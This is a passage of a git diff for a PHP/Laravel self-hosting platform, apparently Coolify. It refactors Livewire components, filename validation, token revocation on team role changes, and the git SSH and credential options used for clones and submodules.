$this->dispatch('databaseUpdated'); } catch (\Throwable $e) { $this->isPublic = ! $this->isPublic; $this->syncData(true); @@ -267,63 +235,6 @@ public function instantSave() } } - public function instantSaveSSL() - { - try { - $this->authorize('update', $this->database); - - $this->syncData(true); - $this->dispatch('success', 'SSL configuration updated.'); - } catch (Exception $e) { - return handleError($e, $this); - } - } - - public function regenerateSslCertificate() - { - try { - $this->authorize('update', $this->database); - - $existingCert = $this->database->sslCertificates()->first(); - - if (! $existingCert) { - $this->dispatch('error', 'No existing SSL certificate found for this database.'); - - return; - } - - $caCert = $this->server->sslCertificates()->where('is_ca_certificate', true)->first(); - - if (! $caCert) { - $this->server->generateCaCertificate(); - $caCert = $this->server->sslCertificates()->where('is_ca_certificate', true)->first(); - } - - if (! $caCert) { - $this->dispatch('error', 'No CA certificate found for this database. Please generate a CA certificate for this server in the server/advanced page.'); - - return; - } - - SslHelper::generateSslCertificate( - commonName: $existingCert->common_name, - subjectAlternativeNames: $existingCert->subject_alternative_names ?? [], - resourceType: $existingCert->resource_type, - resourceId: $existingCert->resource_id, - serverId: $existingCert->server_id, - caCert: $caCert->ssl_certificate, - caKey: $caCert->ssl_private_key, - configurationDir: $existingCert->configuration_dir, - mountPath: $existingCert->mount_path, - isPemKeyFileRequired: true, - ); - - $this->dispatch('success', 'SSL certificates regenerated. Restart database to apply changes.'); - } catch (Exception $e) { - handleError($e, $this); - } - } - public function refresh(): void { $this->database->refresh(); diff --git a/app/Livewire/Project/Database/Redis/StatusInfo.php b/app/Livewire/Project/Database/Redis/StatusInfo.php new file mode 100644 index 000000000..2e784e2c0 --- /dev/null +++ b/app/Livewire/Project/Database/Redis/StatusInfo.php @@ -0,0 +1,21 @@ +validate([ - 'imageName' => ['required', 'string'], - 'imageTag' => ['nullable', 'string', 'regex:/^[a-z0-9][a-z0-9._-]*$/i'], + 'imageName' => ValidationPatterns::dockerImageNameRules(required: true), + 'imageTag' => ValidationPatterns::dockerImageTagRules(), 'imageSha256' => ['nullable', 'string', 'regex:/^[a-f0-9]{64}$/i'], ]); diff --git a/app/Livewire/Project/Service/Configuration.php b/app/Livewire/Project/Service/Configuration.php index 2d69ceb12..ac2b39bb8 100644 --- a/app/Livewire/Project/Service/Configuration.php +++ b/app/Livewire/Project/Service/Configuration.php @@ -4,7 +4,6 @@ use App\Models\Service; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; -use Illuminate\Support\Facades\Auth; use Livewire\Component; class Configuration extends Component @@ -27,16 +26,10 @@ class Configuration extends Component public array $parameters; - public function getListeners() - { - $teamId = Auth::user()->currentTeam()->id; - - return [ - "echo-private:team.{$teamId},ServiceChecked" => 'serviceChecked', - 'refreshServices' => 'refreshServices', - 'refresh' => 'refreshServices', - ]; - } + protected $listeners = [ + 'refreshServices' => 'refreshServices', + 'refresh' => 'refreshServices', + ]; public function render() { @@ -105,18 +98,4 @@ public function restartDatabase($id) return handleError($e, $this); } } - - public function serviceChecked() - { - try { - $this->service->applications->each(function ($application) { - $application->refresh(); - }); - $this->service->databases->each(function ($database) { - $database->refresh(); - }); - } catch (\Exception $e) { - return handleError($e, $this); - } - } } diff --git a/app/Livewire/Project/Service/ResourceCard.php b/app/Livewire/Project/Service/ResourceCard.php new file mode 100644 index 000000000..fd27f60c3 --- /dev/null +++ b/app/Livewire/Project/Service/ResourceCard.php @@ -0,0 +1,66 @@ +currentTeam(); + if (! $team) { + return []; + } + + return [ + "echo-private:team.{$team->id},ServiceChecked" => 'refreshResource', + ]; + } + + public function refreshResource(): void + { + $this->resource->refresh(); + } + + public function restart(): void + { + try { + $this->authorize('update', $this->service); + $this->resource->restart(); + $message = $this->resource instanceof ServiceApplication + ? 'Service application restarted successfully.' + : 'Service database restarted successfully.'; + $this->dispatch('success', $message); + } catch (\Throwable $e) { + handleError($e, $this); + } + } + + public function render(): View + { + return view('livewire.project.service.resource-card', [ + 'isApplication' => $this->resource instanceof ServiceApplication, + 'isDatabase' => $this->resource instanceof ServiceDatabase, + ]); + } +} diff --git a/app/Livewire/Project/Shared/Terminal.php b/app/Livewire/Project/Shared/Terminal.php index bbc2b3e66..db65cdaad 100644 --- a/app/Livewire/Project/Shared/Terminal.php +++ b/app/Livewire/Project/Shared/Terminal.php @@ -12,6 +12,8 @@ class Terminal extends Component { public bool $hasShell = true; + public bool $isTerminalConnected = false; + private function checkShellAvailability(Server $server, string $container): bool { $escapedContainer = escapeshellarg($container); @@ -65,12 +67,20 @@ public function sendTerminalCommand($isContainer, $identifier, $serverUuid) $dockerCommand = "sudo {$dockerCommand}"; } - $command = SshMultiplexingHelper::generateSshCommand($server, $dockerCommand); + $command = SshMultiplexingHelper::generateSshCommand( + $server, + $dockerCommand, + commandTimeout: (int) config('constants.terminal.command_timeout') + ); } else { $shellCommand = 'PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin && '. 'if [ -f ~/.profile ]; then . ~/.profile; fi && '. 'if [ -n "$SHELL" ] && [ -x "$SHELL" ]; then exec $SHELL; else sh; fi'; - $command = SshMultiplexingHelper::generateSshCommand($server, $shellCommand); + $command = SshMultiplexingHelper::generateSshCommand( + $server, + $shellCommand, + commandTimeout: (int) config('constants.terminal.command_timeout') + ); } // ssh command is sent back to frontend then to websocket // this is done because the websocket connection is not available here @@ -84,6 +94,23 @@ public function sendTerminalCommand($isContainer, $identifier, $serverUuid) $this->dispatch('send-back-command', $command); } + #[On('terminalConnected')] + public function markTerminalConnected(): void + { + $this->isTerminalConnected = true; + } + + #[On('terminalDisconnected')] + public function markTerminalDisconnected(): void + { + $this->isTerminalConnected = false; + } + + public function keepTerminalPageAlive(): void + { + $this->isTerminalConnected = true; + } + public function render() { return view('livewire.project.shared.terminal'); diff --git a/app/Livewire/Server/Proxy/DynamicConfigurationNavbar.php b/app/Livewire/Server/Proxy/DynamicConfigurationNavbar.php index c67591cf5..20d14ddc7 100644 --- a/app/Livewire/Server/Proxy/DynamicConfigurationNavbar.php +++ b/app/Livewire/Server/Proxy/DynamicConfigurationNavbar.php @@ -28,12 +28,11 @@ public function delete(string $fileName) // Decode filename: pipes are used to encode dots for Livewire property binding // (e.g., 'my|service.yaml' -> 'my.service.yaml') - // This must happen BEFORE validation because validateShellSafePath() correctly - // rejects pipe characters as dangerous shell metacharacters + // This must happen BEFORE validation because validateFilenameSafe() + // rejects pipe characters through validateShellSafePath(). $file = str_replace('|', '.', $fileName); - // Validate filename to prevent command injection - validateShellSafePath($file, 'proxy configuration filename'); + validateFilenameSafe($file, 'proxy configuration filename'); if ($proxy_type === 'CADDY' && $file === 'Caddyfile') { $this->dispatch('error', 'Cannot delete Caddyfile.'); diff --git a/app/Livewire/Server/Proxy/NewDynamicConfiguration.php b/app/Livewire/Server/Proxy/NewDynamicConfiguration.php index 31a1dfc7e..481d89c78 100644 --- a/app/Livewire/Server/Proxy/NewDynamicConfiguration.php +++ b/app/Livewire/Server/Proxy/NewDynamicConfiguration.php @@ -43,8 +43,7 @@ public function addDynamicConfiguration() 'value' => 'required', ]); - // Additional security validation to prevent command injection - validateShellSafePath($this->fileName, 'proxy configuration filename'); + validateFilenameSafe($this->fileName, 'proxy configuration filename'); if (data_get($this->parameters, 'server_uuid')) { $this->server = Server::ownedByCurrentTeam()->whereUuid(data_get($this->parameters, 'server_uuid'))->first(); diff --git a/app/Livewire/Server/Sentinel.php b/app/Livewire/Server/Sentinel.php index a4b35891b..06aebd8f8 100644 --- a/app/Livewire/Server/Sentinel.php +++ b/app/Livewire/Server/Sentinel.php @@ -93,7 +93,9 @@ public function handleSentinelRestarted($event) { if ($event['serverUuid'] === $this->server->uuid) { $this->server->refresh(); - $this->syncData(); + // Only refresh display-only state; never re-sync text-input properties + // (would clobber any unsaved typing — see coolify#6062 / #6354 / #9695). + $this->sentinelUpdatedAt = $this->server->sentinel_updated_at; $this->dispatch('success', 'Sentinel has been restarted successfully.'); } } diff --git a/app/Livewire/Server/Show.php b/app/Livewire/Server/Show.php index 3e05d9306..d7339dcdb 100644 --- a/app/Livewire/Server/Show.php +++ b/app/Livewire/Server/Show.php @@ -277,7 +277,9 @@ public function handleSentinelRestarted($event) // Only refresh if the event is for this server if (isset($event['serverUuid']) && $event['serverUuid'] === $this->server->uuid) { $this->server->refresh(); - $this->syncData(); + // Only refresh display-only state; never re-sync text-input properties + // (would clobber any unsaved typing — see coolify#6062 / #6354 / #9695). + $this->sentinelUpdatedAt = $this->server->sentinel_updated_at; $this->dispatch('success', 'Sentinel has been restarted successfully.'); } } @@ -457,12 +459,15 @@ public function handleServerValidated($event = null) return; } - // Refresh server data + // Refresh server data and only the display-only state that validation produces. + // Never re-sync text-input properties via syncData() — would clobber any + // unsaved typing (see coolify#6062 / #6354 / #9695). $this->server->refresh(); - $this->syncData(); - - // Update validation state + $this->server->settings->refresh(); $this->isValidating = $this->server->is_validating ?? false; + $this->validationLogs = $this->server->validation_logs; + $this->isReachable = $this->server->settings->is_reachable; + $this->isUsable = $this->server->settings->is_usable; // Reload Hetzner tokens in case the linking section should now be shown $this->loadHetznerTokens(); diff --git a/app/Livewire/SettingsDropdown.php b/app/Livewire/SettingsDropdown.php index 7afa763df..cd41197cb 100644 --- a/app/Livewire/SettingsDropdown.php +++ b/app/Livewire/SettingsDropdown.php @@ -11,6 +11,8 @@ class SettingsDropdown extends Component { public $showWhatsNewModal = false; + public string $trigger = 'preferences'; + public function getUnreadCountProperty() { return Auth::user()->getUnreadChangelogCount(); diff --git a/app/Livewire/Team/InviteLink.php b/app/Livewire/Team/InviteLink.php index ee6d535e9..fb30961e9 100644 --- a/app/Livewire/Team/InviteLink.php +++ b/app/Livewire/Team/InviteLink.php @@ -61,7 +61,7 @@ private function generateInviteLink(bool $sendEmail = false) if ($member_emails->contains($this->email)) { return handleError(livewire: $this, customErrorMessage: "$this->email is already a member of ".currentTeam()->name.'.'); } - $uuid = new Cuid2(32); + $uuid = (string) new Cuid2(32); $link = url('/').config('constants.invitation.link.base_url').$uuid; $user = User::whereEmail($this->email)->first(); @@ -73,7 +73,7 @@ private function generateInviteLink(bool $sendEmail = false) 'password' => Hash::make($password), 'force_password_reset' => true, ]); - $token = Crypt::encryptString("{$user->email}@@@$password"); + $token = Crypt::encryptString("{$user->email}@@@{$uuid}@@@{$password}"); $link = route('auth.link', ['token' => $token]); } $invitation = TeamInvitation::whereEmail($this->email)->first(); diff --git a/app/Livewire/Team/Member.php b/app/Livewire/Team/Member.php index b1f692365..97d492d70 100644 --- a/app/Livewire/Team/Member.php +++ b/app/Livewire/Team/Member.php @@ -2,6 +2,7 @@ namespace App\Livewire\Team; +use App\Actions\User\RevokeUserTeamTokens; use App\Enums\Role; use App\Models\User; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; @@ -23,7 +24,9 @@ public function makeAdmin() || Role::from($this->getMemberRole())->gt(auth()->user()->role())) { throw new \Exception('You are not authorized to perform this action.'); } - $this->member->teams()->updateExistingPivot(currentTeam()->id, ['role' => Role::ADMIN->value]); + $teamId = currentTeam()->id; + $this->member->teams()->updateExistingPivot($teamId, ['role' => Role::ADMIN->value]); + RevokeUserTeamTokens::forUserTeam($this->member, $teamId); $this->dispatch('reloadWindow'); } catch (\Exception $e) { $this->dispatch('error', $e->getMessage()); @@ -39,7 +42,9 @@ public function makeOwner() || Role::from($this->getMemberRole())->gt(auth()->user()->role())) { throw new \Exception('You are not authorized to perform this action.'); } - $this->member->teams()->updateExistingPivot(currentTeam()->id, ['role' => Role::OWNER->value]); + $teamId = currentTeam()->id; + $this->member->teams()->updateExistingPivot($teamId, ['role' => Role::OWNER->value]); + RevokeUserTeamTokens::forUserTeam($this->member, $teamId); $this->dispatch('reloadWindow'); } catch (\Exception $e) { $this->dispatch('error', $e->getMessage()); @@ -55,7 +60,9 @@ public function makeReadonly() || Role::from($this->getMemberRole())->gt(auth()->user()->role())) { throw new \Exception('You are not authorized to perform this action.'); } - $this->member->teams()->updateExistingPivot(currentTeam()->id, ['role' => Role::MEMBER->value]); + $teamId = currentTeam()->id; + $this->member->teams()->updateExistingPivot($teamId, ['role' => Role::MEMBER->value]); + RevokeUserTeamTokens::forUserTeam($this->member, $teamId); $this->dispatch('reloadWindow'); } catch (\Exception $e) { $this->dispatch('error', $e->getMessage()); @@ -73,6 +80,7 @@ public function remove() } $teamId = currentTeam()->id; $this->member->teams()->detach(currentTeam()); + RevokeUserTeamTokens::forUserTeam($this->member, $teamId); // Clear cache for the removed user - both old and new key formats Cache::forget("team:{$this->member->id}"); Cache::forget("user:{$this->member->id}:team:{$teamId}"); diff --git a/app/Mcp/Concerns/ResolvesTeam.php b/app/Mcp/Concerns/ResolvesTeam.php index f75219fcf..f6d82453a 100644 --- a/app/Mcp/Concerns/ResolvesTeam.php +++ b/app/Mcp/Concerns/ResolvesTeam.php @@ -28,8 +28,14 @@ protected function ensureAbility(Request $request, string $ability = 'read'): ?R protected function resolveTeamId(Request $request): ?int { - $token = $request->user()?->currentAccessToken(); + $user = $request->user(); + $token = $user?->currentAccessToken(); + $teamId = $token?->team_id; - return $token?->team_id; + if (! $user || is_null($teamId) || ! $user->teams()->where('teams.id', $teamId)->exists()) { + return null; + } + + return (int) $teamId; } } diff --git a/app/Models/Application.php b/app/Models/Application.php index 183d53858..2e0d2968d 100644 --- a/app/Models/Application.php +++ b/app/Models/Application.php @@ -1279,15 +1279,19 @@ public function dirOnServer() return application_configuration_dir()."/{$this->uuid}"; } - public function setGitImportSettings(string $deployment_uuid, string $git_clone_command, bool $public = false, ?string $commit = null, ?string $git_ssh_command = null) + public function setGitImportSettings(string $deployment_uuid, string $git_clone_command, bool $public = false, ?string $commit = null, ?string $gitSshCommand = null, ?string $git_ssh_command = null, ?string $gitConfigOptions = null) { $baseDir = $this->generateBaseDir($deployment_uuid); $escapedBaseDir = escapeshellarg($baseDir); $isShallowCloneEnabled = $this->settings?->is_git_shallow_clone_enabled ?? false; + $gitCommand = $gitConfigOptions ? "git {$gitConfigOptions}" : 'git'; - // Use the full GIT_SSH_COMMAND (including -i for SSH key and port options) when provided, - // so that git fetch, submodule update, and lfs pull can authenticate the same way as git clone. - $sshCommand = $git_ssh_command ?? 'GIT_SSH_COMMAND="ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null"'; + $resolvedGitSshCommand = $git_ssh_command ?? $gitSshCommand; + $sshCommand = $resolvedGitSshCommand + ? (str_starts_with($resolvedGitSshCommand, 'GIT_SSH_COMMAND=') + ? $resolvedGitSshCommand + : 'GIT_SSH_COMMAND="'.$resolvedGitSshCommand.'"') + : 'GIT_SSH_COMMAND="ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null"'; // Use the explicitly passed commit (e.g. from rollback), falling back to the application's git_commit_sha. // Invalid refs will cause the git checkout/fetch command to fail on the remote server. @@ -1298,9 +1302,9 @@ public function setGitImportSettings(string $deployment_uuid, string $git_clone_ // If shallow clone is enabled and we need a specific commit, // we need to fetch that specific commit with depth=1 if ($isShallowCloneEnabled) { - $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && {$sshCommand} git fetch --depth=1 origin {$escapedCommit} && git -c advice.detachedHead=false checkout {$escapedCommit} >/dev/null 2>&1"; + $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && {$sshCommand} {$gitCommand} fetch --depth=1 origin {$escapedCommit} && {$gitCommand} -c advice.detachedHead=false checkout {$escapedCommit} >/dev/null 2>&1"; } else { - $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && {$sshCommand} git -c advice.detachedHead=false checkout {$escapedCommit} >/dev/null 2>&1"; + $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && {$sshCommand} {$gitCommand} -c advice.detachedHead=false checkout {$escapedCommit} >/dev/null 2>&1"; } } if ($this->settings->is_git_submodules_enabled) { @@ -1311,10 +1315,10 @@ public function setGitImportSettings(string $deployment_uuid, string $git_clone_ } // Add shallow submodules flag if shallow clone is enabled $submoduleFlags = $isShallowCloneEnabled ? '--depth=1' : ''; - $git_clone_command = "{$git_clone_command} git submodule sync && {$sshCommand} git submodule update --init --recursive {$submoduleFlags}; fi"; + $git_clone_command = "{$git_clone_command} {$gitCommand} submodule sync && {$sshCommand} {$gitCommand} submodule update --init --recursive {$submoduleFlags}; fi"; } if ($this->settings->is_git_lfs_enabled) { - $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && {$sshCommand} git lfs pull"; + $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && {$sshCommand} {$gitCommand} lfs pull"; } return $git_clone_command; @@ -1559,6 +1563,11 @@ public function generateGitImportCommands(string $deployment_uuid, int $pull_req } else { $github_access_token = generateGithubInstallationToken($this->source); $encodedToken = rawurlencode($github_access_token); + + // Rewrite same-host HTTPS URLs only for these git commands so submodules can authenticate without persisting credentials. + $gitConfigOption = '-c '.escapeshellarg("url.{$source_html_url_scheme}://x-access-token:{$encodedToken}@{$source_html_url_host}/.insteadOf={$source_html_url_scheme}://{$source_html_url_host}/"); + $git_clone_command = str_replace('git clone', "git {$gitConfigOption} clone", $git_clone_command); + if ($exec_in_docker) { $repoUrl = "$source_html_url_scheme://x-access-token:$encodedToken@$source_html_url_host/{$customRepository}.git"; $escapedRepoUrl = escapeshellarg($repoUrl); @@ -1571,7 +1580,7 @@ public function generateGitImportCommands(string $deployment_uuid, int $pull_req $fullRepoUrl = $repoUrl; } if (! $only_checkout) { - $git_clone_command = $this->setGitImportSettings($deployment_uuid, $git_clone_command, public: false, commit: $commit); + $git_clone_command = $this->setGitImportSettings($deployment_uuid, $git_clone_command, public: false, commit: $commit, gitConfigOptions: $gitConfigOption); } if ($exec_in_docker) { $commands->push(executeInDocker($deployment_uuid, $git_clone_command)); @@ -1582,7 +1591,7 @@ public function generateGitImportCommands(string $deployment_uuid, int $pull_req if ($pull_request_id !== 0) { $branch = "pull/{$pull_request_id}/head:$pr_branch_name"; - $git_checkout_command = $this->buildGitCheckoutCommand($pr_branch_name); + $git_checkout_command = $this->buildGitCheckoutCommand($pr_branch_name, gitConfigOptions: $gitConfigOption ?? null); $escapedPrBranch = escapeshellarg($branch); if ($exec_in_docker) { $commands->push(executeInDocker($deployment_uuid, "cd {$escapedBaseDir} && git fetch origin {$escapedPrBranch} && $git_checkout_command")); @@ -1607,12 +1616,13 @@ public function generateGitImportCommands(string $deployment_uuid, int $pull_req $private_key = base64_encode($private_key); $gitlabPort = $gitlabSource->custom_port ?? 22; $escapedCustomRepository = escapeshellarg($customRepository); - $gitlabSshCommand = "GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$gitlabPort} -o Port={$gitlabPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i {$customSshKeyLocation} -o IdentitiesOnly=yes\""; - $git_clone_command_base = "{$gitlabSshCommand} {$git_clone_command} {$escapedCustomRepository} {$escapedBaseDir}"; + $gitlabSshCommand = "ssh -o ConnectTimeout=30 -p {$gitlabPort} -o Port={$gitlabPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i {$customSshKeyLocation} -o IdentitiesOnly=yes"; + $gitlabGitSshCommand = "GIT_SSH_COMMAND=\"{$gitlabSshCommand}\""; + $git_clone_command_base = "{$gitlabGitSshCommand} {$git_clone_command} {$escapedCustomRepository} {$escapedBaseDir}"; if ($only_checkout) { $git_clone_command = $git_clone_command_base; } else { - $git_clone_command = $this->setGitImportSettings($deployment_uuid, $git_clone_command_base, commit: $commit, git_ssh_command: $gitlabSshCommand); + $git_clone_command = $this->setGitImportSettings($deployment_uuid, $git_clone_command_base, commit: $commit, gitSshCommand: $gitlabSshCommand); } if ($exec_in_docker) { $commands = collect([ @@ -1636,7 +1646,7 @@ public function generateGitImportCommands(string $deployment_uuid, int $pull_req } else { $commands->push("echo 'Checking out $branch'"); } - $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$gitlabPort} -o Port={$gitlabPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i {$customSshKeyLocation} -o IdentitiesOnly=yes\" git fetch origin $branch && ".$this->buildGitCheckoutCommand($pr_branch_name); + $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && {$gitlabGitSshCommand} git fetch origin $branch && ".$this->buildGitCheckoutCommand($pr_branch_name, $gitlabSshCommand); } if ($exec_in_docker) { @@ -1679,12 +1689,13 @@ public function generateGitImportCommands(string $deployment_uuid, int $pull_req } $private_key = base64_encode($private_key); $escapedCustomRepository = escapeshellarg($customRepository); - $deployKeySshCommand = "GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$customPort} -o Port={$customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i {$customSshKeyLocation} -o IdentitiesOnly=yes\""; - $git_clone_command_base = "{$deployKeySshCommand} {$git_clone_command} {$escapedCustomRepository} {$escapedBaseDir}"; + $deployKeySshCommand = "ssh -o ConnectTimeout=30 -p {$customPort} -o Port={$customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i {$customSshKeyLocation} -o IdentitiesOnly=yes"; + $deployKeyGitSshCommand = "GIT_SSH_COMMAND=\"{$deployKeySshCommand}\""; + $git_clone_command_base = "{$deployKeyGitSshCommand} {$git_clone_command} {$escapedCustomRepository} {$escapedBaseDir}"; if ($only_checkout) { $git_clone_command = $git_clone_command_base; } else { - $git_clone_command = $this->setGitImportSettings($deployment_uuid, $git_clone_command_base, commit: $commit, git_ssh_command: $deployKeySshCommand); + $git_clone_command = $this->setGitImportSettings($deployment_uuid, $git_clone_command_base, commit: $commit, gitSshCommand: $deployKeySshCommand); } if ($exec_in_docker) { $commands = collect([ @@ -1708,7 +1719,7 @@ public function generateGitImportCommands(string $deployment_uuid, int $pull_req } else { $commands->push("echo 'Checking out $branch'"); } - $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$customPort} -o Port={$customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i {$customSshKeyLocation} -o IdentitiesOnly=yes\" git fetch origin $branch && ".$this->buildGitCheckoutCommand($pr_branch_name); + $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && {$deployKeyGitSshCommand} git fetch origin $branch && ".$this->buildGitCheckoutCommand($pr_branch_name, $deployKeySshCommand); } elseif ($git_type === 'github' || $git_type === 'gitea') { $branch = "pull/{$pull_request_id}/head:$pr_branch_name"; if ($exec_in_docker) { @@ -1716,14 +1727,14 @@ public function generateGitImportCommands(string $deployment_uuid, int $pull_req } else { $commands->push("echo 'Checking out $branch'"); } - $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$customPort} -o Port={$customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i {$customSshKeyLocation} -o IdentitiesOnly=yes\" git fetch origin $branch && ".$this->buildGitCheckoutCommand($pr_branch_name); + $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && {$deployKeyGitSshCommand} git fetch origin $branch && ".$this->buildGitCheckoutCommand($pr_branch_name, $deployKeySshCommand); } elseif ($git_type === 'bitbucket') { if ($exec_in_docker) { $commands->push(executeInDocker($deployment_uuid, "echo 'Checking out $branch'")); } else { $commands->push("echo 'Checking out $branch'"); } - $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$customPort} -o Port={$customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i {$customSshKeyLocation} -o IdentitiesOnly=yes\" ".$this->buildGitCheckoutCommand($commit); + $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && {$deployKeyGitSshCommand} ".$this->buildGitCheckoutCommand($commit, $deployKeySshCommand); } } @@ -1744,6 +1755,8 @@ public function generateGitImportCommands(string $deployment_uuid, int $pull_req $escapedCustomRepository = escapeshellarg($customRepository); $git_clone_command = "{$git_clone_command} {$escapedCustomRepository} {$escapedBaseDir}"; $git_clone_command = $this->setGitImportSettings($deployment_uuid, $git_clone_command, public: true, commit: $commit); + $otherSshCommand = "ssh -o ConnectTimeout=30 -p {$customPort} -o Port={$customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i {$customSshKeyLocation} -o IdentitiesOnly=yes"; + if ($pull_request_id !== 0) { if ($git_type === 'gitlab') { @@ -1753,7 +1766,7 @@ public function generateGitImportCommands(string $deployment_uuid, int $pull_req } else { $commands->push("echo 'Checking out $branch'"); } - $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$customPort} -o Port={$customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i {$customSshKeyLocation} -o IdentitiesOnly=yes\" git fetch origin $branch && ".$this->buildGitCheckoutCommand($pr_branch_name); + $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"{$otherSshCommand}\" git fetch origin $branch && ".$this->buildGitCheckoutCommand($pr_branch_name, $otherSshCommand); } elseif ($git_type === 'github' || $git_type === 'gitea') { $branch = "pull/{$pull_request_id}/head:$pr_branch_name"; if ($exec_in_docker) { @@ -1761,14 +1774,14 @@ public function generateGitImportCommands(string $deployment_uuid, int $pull_req } else { $commands->push("echo 'Checking out $branch'"); } - $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$customPort} -o Port={$customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i {$customSshKeyLocation} -o IdentitiesOnly=yes\" git fetch origin $branch && ".$this->buildGitCheckoutCommand($pr_branch_name); + $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"{$otherSshCommand}\" git fetch origin $branch && ".$this->buildGitCheckoutCommand($pr_branch_name, $otherSshCommand); } elseif ($git_type === 'bitbucket') { if ($exec_in_docker) { $commands->push(executeInDocker($deployment_uuid, "echo 'Checking out $branch'")); } else { $commands->push("echo 'Checking out $branch'"); } - $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$customPort} -o Port={$customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i {$customSshKeyLocation} -o IdentitiesOnly=yes\" ".$this->buildGitCheckoutCommand($commit); + $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"{$otherSshCommand}\" ".$this->buildGitCheckoutCommand($commit, $otherSshCommand); } } @@ -2017,13 +2030,15 @@ public function fqdns(): Attribute ); } - protected function buildGitCheckoutCommand($target): string + protected function buildGitCheckoutCommand($target, ?string $gitSshCommand = null, ?string $gitConfigOptions = null): string { $escapedTarget = escapeshellarg($target); - $command = "git checkout {$escapedTarget}"; + $gitCommand = $gitConfigOptions ? "git {$gitConfigOptions}" : 'git'; + $command = "{$gitCommand} checkout {$escapedTarget}"; if ($this->settings->is_git_submodules_enabled) { - $command .= ' && git submodule update --init --recursive'; + $sshCommand = $gitSshCommand ?? 'ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null'; + $command .= " && GIT_SSH_COMMAND=\"{$sshCommand}\" {$gitCommand} submodule update --init --recursive"; } return $command; diff --git a/app/Models/S3Storage.php b/app/Models/S3Storage.php index 90232a151..190ee6e67 100644 --- a/app/Models/S3Storage.php +++ b/app/Models/S3Storage.php @@ -19,6 +19,7 @@ class S3Storage extends BaseModel private const REQUEST_TIMEOUT_SECONDS = 15; protected $fillable = [ + 'team_id', 'name', 'description', 'region', diff --git a/app/Models/ScheduledDatabaseBackupExecution.php b/app/Models/ScheduledDatabaseBackupExecution.php index 51ad46de9..1d5f5f9ce 100644 --- a/app/Models/ScheduledDatabaseBackupExecution.php +++ b/app/Models/ScheduledDatabaseBackupExecution.php @@ -23,6 +23,7 @@ class ScheduledDatabaseBackupExecution extends BaseModel protected function casts(): array { return [ + 'size' => 'integer', 's3_uploaded' => 'boolean', 'local_storage_deleted' => 'boolean', 's3_storage_deleted' => 'boolean', diff --git a/app/Models/Service.php b/app/Models/Service.php index 11189b4ac..cc8074b74 100644 --- a/app/Models/Service.php +++ b/app/Models/Service.php @@ -778,7 +778,8 @@ public function extraFields() } $rpc_secret = $this->environment_variables()->where('key', 'GARAGE_RPC_SECRET')->first(); if (is_null($rpc_secret)) { - $rpc_secret = $this->environment_variables()->where('key', 'SERVICE_HEX_32_RPCSECRET')->first(); + $rpc_secret = $this->environment_variables()->where('key', 'SERVICE_HEX_64_RPCSECRET')->first() + ?? $this->environment_variables()->where('key', 'SERVICE_HEX_32_RPCSECRET')->first(); } $metrics_token = $this->environment_variables()->where('key', 'GARAGE_METRICS_TOKEN')->first(); if (is_null($metrics_token)) { diff --git a/app/Models/StandaloneClickhouse.php b/app/Models/StandaloneClickhouse.php index 784e2c937..b104be642 100644 --- a/app/Models/StandaloneClickhouse.php +++ b/app/Models/StandaloneClickhouse.php @@ -3,6 +3,7 @@ namespace App\Models; use App\Traits\ClearsGlobalSearchCache; +use App\Traits\HasDatabaseHealthCheck; use App\Traits\HasMetrics; use 